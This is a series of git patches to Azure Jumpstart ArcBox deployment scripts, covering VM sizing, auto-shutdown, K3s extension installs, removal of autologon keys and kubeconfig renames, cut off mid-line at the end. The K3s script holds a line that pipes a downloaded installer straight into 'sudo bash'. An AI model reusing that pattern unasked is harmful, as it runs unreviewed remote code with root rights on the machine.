b/azure_jumpstart_arcbox/bicep/main.bicep @@ -80,7 +80,7 @@ var aksArcDataClusterName = '${namingPrefix}-AKS-Data-${guid}' var aksDrArcDataClusterName = '${namingPrefix}-AKS-DR-Data-${guid}' var k3sArcDataClusterName = '${namingPrefix}-DataSvc-K3s-${guid}' var k3sArcClusterName = '${namingPrefix}-K3s-${guid}' -var k3sClusterNodesCount = 3 // Number of nodes to deploy in the K3s cluster +var k3sClusterNodesCount = (flavor == 'DataOps') ? 3 : 1 // Number of nodes to deploy in the K3s cluster module ubuntuRancherK3sDataSvcDeployment 'kubernetes/ubuntuRancher.bicep' = if (flavor == 'DevOps' || flavor == 'DataOps') { name: 'ubuntuRancherK3sDataSvcDeployment' From 55d0f835a7fa40ada5a54feb9138c9b31c4c6a95 Mon Sep 17 00:00:00 2001 From: Zaid Mohammad Date: Mon, 12 Aug 2024 13:18:51 -0400 Subject: [PATCH 457/506] remove condition for dataops --- azure_jumpstart_arcbox/bicep/main.bicep | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/azure_jumpstart_arcbox/bicep/main.bicep b/azure_jumpstart_arcbox/bicep/main.bicep index 7c06111fcb..747ffd9288 100644 --- a/azure_jumpstart_arcbox/bicep/main.bicep +++ b/azure_jumpstart_arcbox/bicep/main.bicep @@ -80,7 +80,7 @@ var aksArcDataClusterName = '${namingPrefix}-AKS-Data-${guid}' var aksDrArcDataClusterName = '${namingPrefix}-AKS-DR-Data-${guid}' var k3sArcDataClusterName = '${namingPrefix}-DataSvc-K3s-${guid}' var k3sArcClusterName = '${namingPrefix}-K3s-${guid}' -var k3sClusterNodesCount = (flavor == 'DataOps') ? 3 : 1 // Number of nodes to deploy in the K3s cluster +var k3sClusterNodesCount = 3 // Number of nodes to deploy in the K3s cluster module ubuntuRancherK3sDataSvcDeployment 'kubernetes/ubuntuRancher.bicep' = if (flavor == 'DevOps' || flavor == 'DataOps') { name: 'ubuntuRancherK3sDataSvcDeployment' From 842c54f29a2daccbc2d00696e99d7c29facc30e7 Mon Sep 17 00:00:00 2001 From: Zaid Mohammad Date: Mon, 12 Aug 2024 13:22:26 -0400 Subject: [PATCH 458/506] fix comment --- azure_jumpstart_arcbox/artifacts/DevOpsLogonScript.ps1 | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/azure_jumpstart_arcbox/artifacts/DevOpsLogonScript.ps1 b/azure_jumpstart_arcbox/artifacts/DevOpsLogonScript.ps1 index 9046ce9df8..5e6957f823 100644 --- a/azure_jumpstart_arcbox/artifacts/DevOpsLogonScript.ps1 +++ b/azure_jumpstart_arcbox/artifacts/DevOpsLogonScript.ps1 @@ -407,7 +407,7 @@ Get-ChildItem -Path $Env:ArcBoxKVDir | # (Get-Content -path $_.FullName -Raw) -Replace '\{JS_TENANTID}', $Env:tenantId | Set-Content -Path $_.FullName } -# Write-Header "Creating Ingress Controller" +Write-Header "Creating Ingress Controller" # Deploy Ingress resources for Bookstore and Hello-Arc App foreach ($namespace in @('bookstore', 'bookbuyer', 'hello-arc')) { From 9edd79e0f8f6ab1ad6abeeaa67dc7560a704a208 Mon Sep 17 00:00:00 2001 From: Zaid Mohammad Date: Mon, 12 Aug 2024 13:25:20 -0400 Subject: [PATCH 459/506] remove app osm ref --- .../artifacts/devops_ingress/bookbuyer.yaml | 15 --------------- .../artifacts/devops_ingress/bookstore.yaml | 19 ------------------- 2 files changed, 34 deletions(-) diff --git a/azure_jumpstart_arcbox/artifacts/devops_ingress/bookbuyer.yaml b/azure_jumpstart_arcbox/artifacts/devops_ingress/bookbuyer.yaml index 2147a3bfd8..48deae7aa4 100644 --- a/azure_jumpstart_arcbox/artifacts/devops_ingress/bookbuyer.yaml +++ b/azure_jumpstart_arcbox/artifacts/devops_ingress/bookbuyer.yaml @@ -17,18 +17,3 @@ spec: port: number: 14001 path: /bookbuyer -# --- -# kind: IngressBackend -# apiVersion: policy.openservicemesh.io/v1alpha1 -# metadata: -# name: backend -# spec: -# backends: -# - name: bookbuyer -# port: -# number: 14001 -# protocol: http -# sources: -# - kind: Service -# namespace: ingress-nginx -# name: ingress-nginx-controller diff --git a/azure_jumpstart_arcbox/artifacts/devops_ingress/bookstore.yaml b/azure_jumpstart_arcbox/artifacts/devops_ingress/bookstore.yaml index a759ad6eb1..3062d655e3 100644 --- a/azure_jumpstart_arcbox/artifacts/devops_ingress/bookstore.yaml +++ b/azure_jumpstart_arcbox/artifacts/devops_ingress/bookstore.yaml @@ -24,22 +24,3 @@ spec: port: number: 14001 path: /bookstore-v2 -# --- -# kind: IngressBackend # Ingress Backend for Bookstore App -# apiVersion: policy.openservicemesh.io/v1alpha1 -# metadata: -# name: backend -# spec: -# backends: -# - name: bookstore -# port: -# number: 14001 -# protocol: http -# - name: bookstore-v2 -# port: -# number: 14001 -# protocol: http -# sources: -# - kind: Service -# namespace: ingress-nginx -# name: ingress-nginx-controller From 6d5fed555f5a680cd2702fb760f40aed377755ab Mon Sep 17 00:00:00 2001 From: Jan Egil Ring Date: Tue, 13 Aug 2024 10:43:19 +0000 Subject: [PATCH 460/506] Add auto-shutdown functionality to client VM deployment Signed-off-by: Jan Egil Ring --- .../bicep/clientVm/clientVm.bicep | 26 +++++++++++++++++++ azure_jumpstart_arcbox/bicep/main.bicep | 9 +++++++ 2 files changed, 35 insertions(+) diff --git a/azure_jumpstart_arcbox/bicep/clientVm/clientVm.bicep b/azure_jumpstart_arcbox/bicep/clientVm/clientVm.bicep index 5b30aa58ea..837e4e4017 100644 --- a/azure_jumpstart_arcbox/bicep/clientVm/clientVm.bicep +++ b/azure_jumpstart_arcbox/bicep/clientVm/clientVm.bicep @@ -113,6 +113,11 @@ param vmsDiskSku string = 'Premium_LRS' @description('Use this parameter to enable or disable debug mode for the automation scripts on the client VM, effectively configuring PowerShell ErrorActionPreference to Break. Default is false.') param debugEnabled bool = false +param autoShutdownEnabled bool = false +param autoShutdownTime string = '1800' // The time for auto-shutdown in HHmm format (24-hour clock) +param autoShutdownTimezone string = 'UTC' // Timezone for the auto-shutdown +param autoShutdownEmailRecipient string = '' + var bastionName = '${namingPrefix}-Bastion' var publicIpAddressName = deployBastion == false ? '${vmName}-PIP' : '${bastionName}-PIP' var networkInterfaceName = '${vmName}-NIC' @@ -277,5 +282,26 @@ resource vmRoleAssignment_Storage 'Microsoft.Authorization/roleAssignments@2022- } } +resource autoShutdown 'Microsoft.DevTestLab/schedules@2018-09-15' = if (autoShutdownEnabled) { + name: 'shutdown-computevm-${vm.name}' + location: location + properties: { + status: 'Enabled' + taskType: 'ComputeVmShutdownTask' + dailyRecurrence: { + time: autoShutdownTime + } + timeZoneId: autoShutdownTimezone + notificationSettings: { + status: 'Enabled' + timeInMinutes: 30 + webhookUrl: '' + emailRecipient: autoShutdownEmailRecipient + notificationLocale: 'en' + } + targetResourceId: vm.id + } +} + output adminUsername string = windowsAdminUsername output publicIP string = deployBastion == false ? concat(publicIpAddress.properties.ipAddress) : '' diff --git a/azure_jumpstart_arcbox/bicep/main.bicep b/azure_jumpstart_arcbox/bicep/main.bicep index 4b1daceecd..6d32daf925 100644 --- a/azure_jumpstart_arcbox/bicep/main.bicep +++ b/azure_jumpstart_arcbox/bicep/main.bicep @@ -75,6 +75,11 @@ param resourceTags object = { @description('The naming prefix for the nested virtual machines and all Azure resources deployed. The maximum length for the naming prefix is 7 characters,example: `ArcBox-Win2k19`') param namingPrefix string = 'ArcBox' +param autoShutdownEnabled bool = false +param autoShutdownTime string = '1800' // The time for auto-shutdown in HHmm format (24-hour clock) +param autoShutdownTimezone string = 'UTC' // Timezone for the auto-shutdown +param autoShutdownEmailRecipient string = '' + var templateBaseUrl = 'https://raw.githubusercontent.com/${githubAccount}/azure_arc/${githubBranch}/azure_jumpstart_arcbox/' var aksArcDataClusterName = '${namingPrefix}-AKS-Data-${guid}' var aksDrArcDataClusterName = '${namingPrefix}-AKS-DR-Data-${guid}' @@ -159,6 +164,10 @@ module clientVmDeployment 'clientVm/clientVm.bicep' = { customLocationRPOID: customLocationRPOID namingPrefix: namingPrefix debugEnabled: debugEnabled + autoShutdownEnabled: autoShutdownEnabled + autoShutdownTime: autoShutdownTime + autoShutdownTimezone: autoShutdownTimezone + autoShutdownEmailRecipient: autoShutdownEmailRecipient } dependsOn: [ updateVNetDNSServers From 48244267e21ff908dfdf47c1582f5661d71a0de6 Mon Sep 17 00:00:00 2001 From: Jan Egil Ring Date: Tue, 13 Aug 2024 10:45:33 +0000 Subject: [PATCH 461/506] Added function to check if dpkg lock is in place Signed-off-by: Jan Egil Ring --- azure_jumpstart_arcbox/artifacts/installK3s.sh | 13 ++++++++++++- 1 file changed, 12 insertions(+), 1 deletion(-) diff --git a/azure_jumpstart_arcbox/artifacts/installK3s.sh b/azure_jumpstart_arcbox/artifacts/installK3s.sh index 8dd8db1852..9f82e1ce71 100644 --- a/azure_jumpstart_arcbox/artifacts/installK3s.sh +++ b/azure_jumpstart_arcbox/artifacts/installK3s.sh @@ -64,6 +64,17 @@ sudo chmod +x /usr/local/bin/azcopy # Authorize azcopy by using a system-wide managed identity export AZCOPY_AUTO_LOGIN_TYPE=MSI +# Function to check if dpkg lock is in place +check_dpkg_lock() { + while fuser /var/lib/dpkg/lock-frontend >/dev/null 2>&1; do + echo "Waiting for other package management processes to complete..." + sleep 5 + done +} + +# Run the lock check before attempting the installation +check_dpkg_lock + # Installing Azure CLI & Azure Arc extensions curl -sL https://aka.ms/InstallAzureCLIDeb | sudo bash @@ -155,7 +166,7 @@ if [[ "$k3sControlPlane" == "true" ]]; then sudo -u $adminUsername az connectedk8s connect --name $vmName --resource-group $resourceGroup --location $location echo "Onboarding the k3s cluster to Azure Arc completed" - + # Verify if cluster is connected to Azure Arc successfully connectedClusterInfo=$(sudo -u $adminUsername az connectedk8s show --name $vmName --resource-group $resourceGroup) echo "Connected cluster info: $connectedClusterInfo" From ee99a3c910a99bea592a8807b48de7466063bbc3 Mon Sep 17 00:00:00 2001 From: Jan Egil Ring Date: Tue, 13 Aug 2024 10:47:38 +0000 Subject: [PATCH 462/506] Remove auto-logon registry keys and create shortcuts in DataOpsLogonScript.ps1 and DevOpsLogonScript.ps1 Signed-off-by: Jan Egil Ring --- .../artifacts/DataOpsLogonScript.ps1 | 44 ++++++++++++++++++- .../artifacts/DevOpsLogonScript.ps1 | 44 ++++++++++++++++++- 2 files changed, 86 insertions(+), 2 deletions(-) diff --git a/azure_jumpstart_arcbox/artifacts/DataOpsLogonScript.ps1 b/azure_jumpstart_arcbox/artifacts/DataOpsLogonScript.ps1 index c997589429..3c66cd4386 100644 --- a/azure_jumpstart_arcbox/artifacts/DataOpsLogonScript.ps1 +++ b/azure_jumpstart_arcbox/artifacts/DataOpsLogonScript.ps1 @@ -19,6 +19,48 @@ $clusters = @( Start-Transcript -Path $Env:ArcBoxLogsDir\DataOpsLogonScript.log +# Remove registry keys that are used to automatically logon the user (only used for first-time setup) +$registryPath = "HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" +$keys = @("AutoAdminLogon", "DefaultUserName", "DefaultPassword") + +foreach ($key in $keys) { + try { + $property = Get-ItemProperty -Path $registryPath -Name $key -ErrorAction Stop + Remove-ItemProperty -Path $registryPath -Name $key + Write-Host "Removed registry key that are used to automatically logon the user: $key" + } catch { + Write-Verbose "Key $key does not exist." + } +} + +# Create Windows Terminal desktop shortcut +$WshShell = New-Object -comObject WScript.Shell +$WinTerminalPath = (Get-ChildItem "C:\Program Files\WindowsApps" -Recurse | Where-Object { $_.name -eq "wt.exe" }).FullName +$Shortcut = $WshShell.CreateShortcut("$Env:USERPROFILE\Desktop\Windows Terminal.lnk") +$Shortcut.TargetPath = $WinTerminalPath +$shortcut.WindowStyle = 3 +$shortcut.Save() + +# Create desktop shortcut for Logs-folder +$WshShell = New-Object -comObject WScript.Shell +$LogsPath = "C:\ArcBox\Logs" +$Shortcut = $WshShell.CreateShortcut("$Env:USERPROFILE\Desktop\Logs.lnk") +$Shortcut.TargetPath = $LogsPath +$shortcut.WindowStyle = 3 +$shortcut.Save() + +# Configure Windows Terminal as the default terminal application +$registryPath = "HKCU:\Console\%%Startup" + +if (Test-Path $registryPath) { + Set-ItemProperty -Path $registryPath -Name "DelegationConsole" -Value "{2EACA947-7F5F-4CFA-BA87-8F7FBEEFBE69}" + Set-ItemProperty -Path $registryPath -Name "DelegationTerminal" -Value "{E12CFF52-A866-4C77-9A90-F570A7AA2C6B}" +} else { + New-Item -Path $registryPath -Force | Out-Null + Set-ItemProperty -Path $registryPath -Name "DelegationConsole" -Value "{2EACA947-7F5F-4CFA-BA87-8F7FBEEFBE69}" + Set-ItemProperty -Path $registryPath -Name "DelegationTerminal" -Value "{E12CFF52-A866-4C77-9A90-F570A7AA2C6B}" +} + $cliDir = New-Item -Path "$Env:ArcBoxDir\.cli\" -Name ".dataops" -ItemType Directory if (-not $($cliDir.Parent.Attributes.HasFlag([System.IO.FileAttributes]::Hidden))) { @@ -386,7 +428,7 @@ $clusters | Foreach-Object -ThrottleLimit 5 -Parallel { Write-Host "Error creating custom location: $_" -ForegroundColor Red Exit 1 } - + Start-Sleep -Seconds 10 # Deploying the Azure Arc Data Controller diff --git a/azure_jumpstart_arcbox/artifacts/DevOpsLogonScript.ps1 b/azure_jumpstart_arcbox/artifacts/DevOpsLogonScript.ps1 index 5e6957f823..021048c365 100644 --- a/azure_jumpstart_arcbox/artifacts/DevOpsLogonScript.ps1 +++ b/azure_jumpstart_arcbox/artifacts/DevOpsLogonScript.ps1 @@ -25,6 +25,48 @@ $clusters = @( Start-Transcript -Path $Env:ArcBoxLogsDir\DevOpsLogonScript.log +# Remove registry keys that are used to automatically logon the user (only used for first-time setup) +$registryPath = "HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" +$keys = @("AutoAdminLogon", "DefaultUserName", "DefaultPassword") + +foreach ($key in $keys) { + try { + $property = Get-ItemProperty -Path $registryPath -Name $key -ErrorAction Stop + Remove-ItemProperty -Path $registryPath -Name $key + Write-Host "Removed registry key that are used to automatically logon the user: $key" + } catch { + Write-Verbose "Key $key does not exist." + } +} + +# Create Windows Terminal desktop shortcut +$WshShell = New-Object -comObject WScript.Shell +$WinTerminalPath = (Get-ChildItem "C:\Program Files\WindowsApps" -Recurse | Where-Object { $_.name -eq "wt.exe" }).FullName +$Shortcut = $WshShell.CreateShortcut("$Env:USERPROFILE\Desktop\Windows Terminal.lnk") +$Shortcut.TargetPath = $WinTerminalPath +$shortcut.WindowStyle = 3 +$shortcut.Save() + +# Create desktop shortcut for Logs-folder +$WshShell = New-Object -comObject WScript.Shell +$LogsPath = "C:\ArcBox\Logs" +$Shortcut = $WshShell.CreateShortcut("$Env:USERPROFILE\Desktop\Logs.lnk") +$Shortcut.TargetPath = $LogsPath +$shortcut.WindowStyle = 3 +$shortcut.Save() + +# Configure Windows Terminal as the default terminal application +$registryPath = "HKCU:\Console\%%Startup" + +if (Test-Path $registryPath) { + Set-ItemProperty -Path $registryPath -Name "DelegationConsole" -Value "{2EACA947-7F5F-4CFA-BA87-8F7FBEEFBE69}" + Set-ItemProperty -Path $registryPath -Name "DelegationTerminal" -Value "{E12CFF52-A866-4C77-9A90-F570A7AA2C6B}" +} else { + New-Item -Path $registryPath -Force | Out-Null + Set-ItemProperty -Path $registryPath -Name "DelegationConsole" -Value "{2EACA947-7F5F-4CFA-BA87-8F7FBEEFBE69}" + Set-ItemProperty -Path $registryPath -Name "DelegationTerminal" -Value "{E12CFF52-A866-4C77-9A90-F570A7AA2C6B}" +} + # Required for azcopy and Get-AzResource Connect-AzAccount -Identity -Tenant $env:tenantId -Subscription $env:subscriptionId @@ -100,7 +142,7 @@ foreach ($cluster in $clusters) { $nicName = $cluster.clusterName + "-NIC" $k3sVIP = az network nic ip-config list --resource-group $Env:resourceGroup --nic-name $nicName --query "[?primary == ``true``].privateIPAddress" -otsv - + Write-Header "Installing istio on K3s cluster" istioctl install --skip-confirmation From 9304df776549f5a01f33542ec3eeee6834fa010a Mon Sep 17 00:00:00 2001 From: Jan Egil Ring Date: Tue, 13 Aug 2024 10:50:08 +0000 Subject: [PATCH 463/506] Update startup memory for virtual machines Signed-off-by: Jan Egil Ring --- .../artifacts/dsc/virtual_machines_itpro.dsc.yml | 4 ++-- .../artifacts/dsc/virtual_machines_sql.dsc.yml | 2 +- 2 files changed, 3 insertions(+), 3 deletions(-) diff --git a/azure_jumpstart_arcbox/artifacts/dsc/virtual_machines_itpro.dsc.yml b/azure_jumpstart_arcbox/artifacts/dsc/virtual_machines_itpro.dsc.yml index edcb70a7e4..df8fe96f15 100644 --- a/azure_jumpstart_arcbox/artifacts/dsc/virtual_machines_itpro.dsc.yml +++ b/azure_jumpstart_arcbox/artifacts/dsc/virtual_machines_itpro.dsc.yml @@ -11,7 +11,7 @@ properties: SwitchName: 'InternalNATSwitch' VhdPath: F:\Virtual Machines\ArcBox-Win2K19.vhdx ProcessorCount: 2 - StartupMemory: '12GB' + StartupMemory: '4GB' RestartIfNeeded: true State: Running Generation: 2 @@ -27,7 +27,7 @@ properties: SwitchName: 'InternalNATSwitch' VhdPath: F:\Virtual Machines\ArcBox-Win2K22.vhdx ProcessorCount: 2 - StartupMemory: '12GB' + StartupMemory: '4GB' RestartIfNeeded: true State: Running Generation: 2 diff --git a/azure_jumpstart_arcbox/artifacts/dsc/virtual_machines_sql.dsc.yml b/azure_jumpstart_arcbox/artifacts/dsc/virtual_machines_sql.dsc.yml index c8f205d61f..f385a8ca0f 100644 --- a/azure_jumpstart_arcbox/artifacts/dsc/virtual_machines_sql.dsc.yml +++ b/azure_jumpstart_arcbox/artifacts/dsc/virtual_machines_sql.dsc.yml @@ -10,7 +10,7 @@ properties: SwitchName: 'InternalNATSwitch' VhdPath: F:\Virtual Machines\ArcBox-SQL.vhdx ProcessorCount: 2 - StartupMemory: '12GB' + StartupMemory: '6GB' RestartIfNeeded: true State: Running Generation: 2 From 3494504d74a7cec94c555c10cd98a1d3ea1e6daf Mon Sep 17 00:00:00 2001 From: Jan Egil Ring Date: Tue, 13 Aug 2024 11:45:40 +0000 Subject: [PATCH 464/506] Updated VM size for ITPro Signed-off-by: Jan Egil Ring --- azure_jumpstart_arcbox/bicep/clientVm/clientVm.bicep | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/azure_jumpstart_arcbox/bicep/clientVm/clientVm.bicep b/azure_jumpstart_arcbox/bicep/clientVm/clientVm.bicep index 837e4e4017..58085acf6d 100644 --- a/azure_jumpstart_arcbox/bicep/clientVm/clientVm.bicep +++ b/azure_jumpstart_arcbox/bicep/clientVm/clientVm.bicep @@ -180,7 +180,7 @@ resource vm 'Microsoft.Compute/virtualMachines@2022-03-01' = { } properties: { hardwareProfile: { - vmSize: flavor == 'DevOps' ? 'Standard_B4ms' : flavor == 'DataOps' ? 'Standard_D8s_v5' : 'Standard_D16s_v5' + vmSize: flavor == 'DevOps' ? 'Standard_B4ms' : 'Standard_D8s_v5' } storageProfile: { osDisk: { From 5fd8d49a879883c6931e14da5919018fe3b99557 Mon Sep 17 00:00:00 2001 From: Jan Egil Ring Date: Tue, 13 Aug 2024 13:18:22 +0000 Subject: [PATCH 465/506] Update VM size based on flavor selection Signed-off-by: Jan Egil Ring --- azure_jumpstart_arcbox/bicep/clientVm/clientVm.bicep | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/azure_jumpstart_arcbox/bicep/clientVm/clientVm.bicep b/azure_jumpstart_arcbox/bicep/clientVm/clientVm.bicep index 58085acf6d..752879868e 100644 --- a/azure_jumpstart_arcbox/bicep/clientVm/clientVm.bicep +++ b/azure_jumpstart_arcbox/bicep/clientVm/clientVm.bicep @@ -180,7 +180,7 @@ resource vm 'Microsoft.Compute/virtualMachines@2022-03-01' = { } properties: { hardwareProfile: { - vmSize: flavor == 'DevOps' ? 'Standard_B4ms' : 'Standard_D8s_v5' + vmSize: flavor == 'DevOps' ? 'Standard_B4ms' : flavor == 'DataOps' ? 'Standard_D4s_v5' : 'Standard_D8s_v5' } storageProfile: { osDisk: { From 4429c506911bfaece9387c2184b7568e672c791b Mon Sep 17 00:00:00 2001 From: Jan Egil Ring Date: Tue, 13 Aug 2024 13:30:44 +0000 Subject: [PATCH 466/506] Updated logic for Container Insights, Azure Policy and Microsoft Defender for Containers cluster extension installation Signed-off-by: Jan Egil Ring --- .../artifacts/installK3s.sh | 50 +++++++++++++++---- 1 file changed, 40 insertions(+), 10 deletions(-) diff --git a/azure_jumpstart_arcbox/artifacts/installK3s.sh b/azure_jumpstart_arcbox/artifacts/installK3s.sh index 9f82e1ce71..41276743d4 100644 --- a/azure_jumpstart_arcbox/artifacts/installK3s.sh +++ b/azure_jumpstart_arcbox/artifacts/installK3s.sh @@ -172,18 +172,48 @@ if [[ "$k3sControlPlane" == "true" ]]; then echo "Connected cluster info: $connectedClusterInfo" # Wait - # Enabling Container Insights and Microsoft Defender for Containers cluster extensions - echo "" - echo "Enabling Container Insights and Microsoft Defender for Containers cluster extensions" - echo "" +# Function to check if an extension is already installed +is_extension_installed() { + extension_name=$1 + extension_count=$(sudo -u $adminUsername az k8s-extension list --cluster-name $vmName --resource-group $resourceGroup --cluster-type connectedClusters --query "[?name=='$extension_name'] | length(@)") + + if [ "$extension_count" -gt 0 ]; then + return 0 # Extension is installed + else + return 1 # Extension is not installed + fi +} + +# Enabling Container Insights and Microsoft Defender for Containers cluster extensions +echo "" +echo "Enabling Container Insights and Microsoft Defender for Containers cluster extensions" +echo "" + +# Check and install azuremonitor-containers extension +if is_extension_installed "azuremonitor-containers"; then + echo "Extension 'azuremonitor-containers' is already installed." +else sudo -u $adminUsername az k8s-extension create -n "azuremonitor-containers" --cluster-name $vmName --resource-group $resourceGroup --cluster-type connectedClusters --extension-type Microsoft.AzureMonitor.Containers --configuration-settings logAnalyticsWorkspaceResourceID=$workspaceResourceId --only-show-errors - sudo -u $adminUsername az k8s-extension create -n "azure-defender" --cluster-name $vmName --resource-group $resourceGroup --cluster-type connectedClusters --extension-type Microsoft.AzureDefender.Kubernetes --configuration-settings logAnalyticsWorkspaceResourceID=$workspaceResourceId --only-show-errors +fi - # Enabling Azure Policy for Kubernetes on the cluster - echo "" - echo "Enabling Azure Policy for Kubernetes on the cluster" - echo "" - sudo -u $adminUsername az k8s-extension create --name "arc-azurepolicy" --cluster-name $vmName --resource-group $resourceGroup --cluster-type connectedClusters --extension-type Microsoft.PolicyInsights --only-show-errors +# Check and install microsoft.azuredefender.kubernetes extension +if is_extension_installed "microsoft.azuredefender.kubernetes"; then + echo "Extension 'microsoft.azuredefender.kubernetes' is already installed." +else + sudo -u $adminUsername az k8s-extension create -n "microsoft.azuredefender.kubernetes" --cluster-name $vmName --resource-group $resourceGroup --cluster-type connectedClusters --extension-type Microsoft.AzureDefender.Kubernetes --configuration-settings logAnalyticsWorkspaceResourceID=$workspaceResourceId --only-show-errors +fi + +# Enabling Azure Policy for Kubernetes on the cluster +echo "" +echo "Enabling Azure Policy for Kubernetes on the cluster" +echo "" + +# Check and install arc-azurepolicy extension +if is_extension_installed "azurepolicy"; then + echo "Extension 'azurepolicy' is already installed." +else + sudo -u $adminUsername az k8s-extension create --name "azurepolicy" --cluster-name $vmName --resource-group $resourceGroup --cluster-type connectedClusters --extension-type Microsoft.PolicyInsights --only-show-errors +fi else # Downloading k3s control plane details From 295b98e2a285d6f590a5c85382bd263b5a675a9b Mon Sep 17 00:00:00 2001 From: Zaid Mohammad Date: Tue, 13 Aug 2024 11:09:09 -0400 Subject: [PATCH 467/506] update k3s clsuters name --- .../artifacts/DataOpsLogonScript.ps1 | 8 ++++---- .../artifacts/DeployAPIM.ps1 | 2 +- .../artifacts/DeploySQLMIADAuth.ps1 | 2 +- .../artifacts/DevOpsLogonScript.ps1 | 20 +++++++++---------- .../gitops_scripts/ResetBookstore.ps1 | 2 +- azure_jumpstart_arcbox/bicep/main.bicep | 2 +- 6 files changed, 18 insertions(+), 18 deletions(-) diff --git a/azure_jumpstart_arcbox/artifacts/DataOpsLogonScript.ps1 b/azure_jumpstart_arcbox/artifacts/DataOpsLogonScript.ps1 index c997589429..cc3560d07c 100644 --- a/azure_jumpstart_arcbox/artifacts/DataOpsLogonScript.ps1 +++ b/azure_jumpstart_arcbox/artifacts/DataOpsLogonScript.ps1 @@ -12,7 +12,7 @@ $aksArcClusterName = ($Env:aksArcClusterName).toLower() $aksdrArcClusterName = ($Env:aksdrArcClusterName).toLower() $clusters = @( - [pscustomobject]@{clusterName = $Env:k3sArcDataClusterName; dataController = "$k3sArcDataClusterName-dc" ; customLocation = "$k3sArcDataClusterName-cl" ; storageClassName = 'longhorn' ; licenseType = 'LicenseIncluded' ; context = 'k3s' ; kubeConfig = "C:\Users\$Env:adminUsername\.kube\config-datasvc-k3s" } + [pscustomobject]@{clusterName = $Env:k3sArcDataClusterName; dataController = "$k3sArcDataClusterName-dc" ; customLocation = "$k3sArcDataClusterName-cl" ; storageClassName = 'longhorn' ; licenseType = 'LicenseIncluded' ; context = 'k3s' ; kubeConfig = "C:\Users\$Env:adminUsername\.kube\config-k3s-datasvc" } [pscustomobject]@{clusterName = $Env:aksArcClusterName ; dataController = "$aksArcClusterName-dc" ; customLocation = "$aksArcClusterName-cl" ; storageClassName = 'managed-premium' ; licenseType = 'LicenseIncluded' ; context = 'aks' ; kubeConfig = "C:\Users\$Env:adminUsername\.kube\config-aks" } [pscustomobject]@{clusterName = $Env:aksdrArcClusterName ; dataController = "$aksdrArcClusterName-dc" ; customLocation = "$aksdrArcClusterName-cl" ; storageClassName = 'managed-premium' ; licenseType = 'DisasterRecovery' ; context = 'aks-dr'; kubeConfig = "C:\Users\$Env:adminUsername\.kube\config-aksdr" } ) @@ -107,7 +107,7 @@ Write-Host "`n" # Downloading k3s Kubernetes cluster kubeconfig file Write-Header "Downloading k3s Kubeconfig" $sourceFile = "https://$Env:stagingStorageAccountName.blob.core.windows.net/$($Env:k3sArcDataClusterName.ToLower())/config" -azcopy cp --check-md5 FailIfDifferentOrMissing $sourceFile "C:\Users\$Env:adminUsername\.kube\config-datasvc-k3s" +azcopy cp --check-md5 FailIfDifferentOrMissing $sourceFile "C:\Users\$Env:adminUsername\.kube\config-k3s-datasvc" azcopy cp --check-md5 FailIfDifferentOrMissing $sourceFile "C:\Users\$Env:adminUsername\.kube\config" $addsDomainNetBiosName = $Env:addsDomainName.Split(".")[0] @@ -132,7 +132,7 @@ az aks get-credentials --resource-group $Env:resourceGroup --name $Env:aksdrArcC kubectx aks="$Env:aksArcClusterName-admin" kubectx aks-dr="$Env:aksdrArcClusterName-admin" -kubectx k3s="$namingPrefix-datasvc-k3s" +kubectx k3s="$namingPrefix-k3s-datasvc" Start-Sleep -Seconds 10 @@ -333,7 +333,7 @@ Stop-Transcript # - Deploying data services on k3s cluster ################################################ -wt --% --maximized new-tab pwsh.exe -NoExit -Command Show-K8sPodStatus -kubeconfig "C:\Users\$Env:adminUsername\.kube\config-datasvc-k3s" -clusterName 'k3s Cluster'; split-pane -p "PowerShell" pwsh.exe -NoExit -Command Show-K8sPodStatus -kubeconfig "C:\Users\$Env:USERNAME\.kube\config-aks" -clusterName 'AKS Cluster'; split-pane -H pwsh.exe -NoExit -Command Show-K8sPodStatus -kubeconfig "C:\Users\$Env:USERNAME\.kube\config-aksdr" -clusterName 'AKS-DR Cluster' +wt --% --maximized new-tab pwsh.exe -NoExit -Command Show-K8sPodStatus -kubeconfig "C:\Users\$Env:adminUsername\.kube\config-k3s-datasvc" -clusterName 'k3s Cluster'; split-pane -p "PowerShell" pwsh.exe -NoExit -Command Show-K8sPodStatus -kubeconfig "C:\Users\$Env:USERNAME\.kube\config-aks" -clusterName 'AKS Cluster'; split-pane -H pwsh.exe -NoExit -Command Show-K8sPodStatus -kubeconfig "C:\Users\$Env:USERNAME\.kube\config-aksdr" -clusterName 'AKS-DR Cluster' Write-Header "Deploying Azure Arc Data Controllers on Kubernetes cluster" $clusters | Foreach-Object -ThrottleLimit 5 -Parallel { diff --git a/azure_jumpstart_arcbox/artifacts/DeployAPIM.ps1 b/azure_jumpstart_arcbox/artifacts/DeployAPIM.ps1 index 45b4290e10..04d309a532 100644 --- a/azure_jumpstart_arcbox/artifacts/DeployAPIM.ps1 +++ b/azure_jumpstart_arcbox/artifacts/DeployAPIM.ps1 @@ -28,7 +28,7 @@ az config set extension.use_dynamic_install=yes_without_prompt ################################################ # Retrive SQL Managed Instances ################################################ -kubectx arcbox-datasvc-k3s +kubectx arcbox-k3s-datasvc kubectl get nodes # Retrieving SQL MI connection endpoints diff --git a/azure_jumpstart_arcbox/artifacts/DeploySQLMIADAuth.ps1 b/azure_jumpstart_arcbox/artifacts/DeploySQLMIADAuth.ps1 index a008f2d108..857dc46cdb 100644 --- a/azure_jumpstart_arcbox/artifacts/DeploySQLMIADAuth.ps1 +++ b/azure_jumpstart_arcbox/artifacts/DeploySQLMIADAuth.ps1 @@ -61,7 +61,7 @@ else { $sqlInstances = @( - [pscustomobject]@{instanceName = 'k3s-sql'; dataController = "$k3sArcDataClusterName-dc"; customLocation = "$k3sArcDataClusterName-cl" ; storageClassName = 'longhorn' ; licenseType = 'LicenseIncluded' ; context = 'k3s' ; kubeConfig = "C:\Users\$Env:adminUsername\.kube\config-datasvc-k3s" } + [pscustomobject]@{instanceName = 'k3s-sql'; dataController = "$k3sArcDataClusterName-dc"; customLocation = "$k3sArcDataClusterName-cl" ; storageClassName = 'longhorn' ; licenseType = 'LicenseIncluded' ; context = 'k3s' ; kubeConfig = "C:\Users\$Env:adminUsername\.kube\config-k3s-datasvc" } [pscustomobject]@{instanceName = 'aks-sql'; dataController = 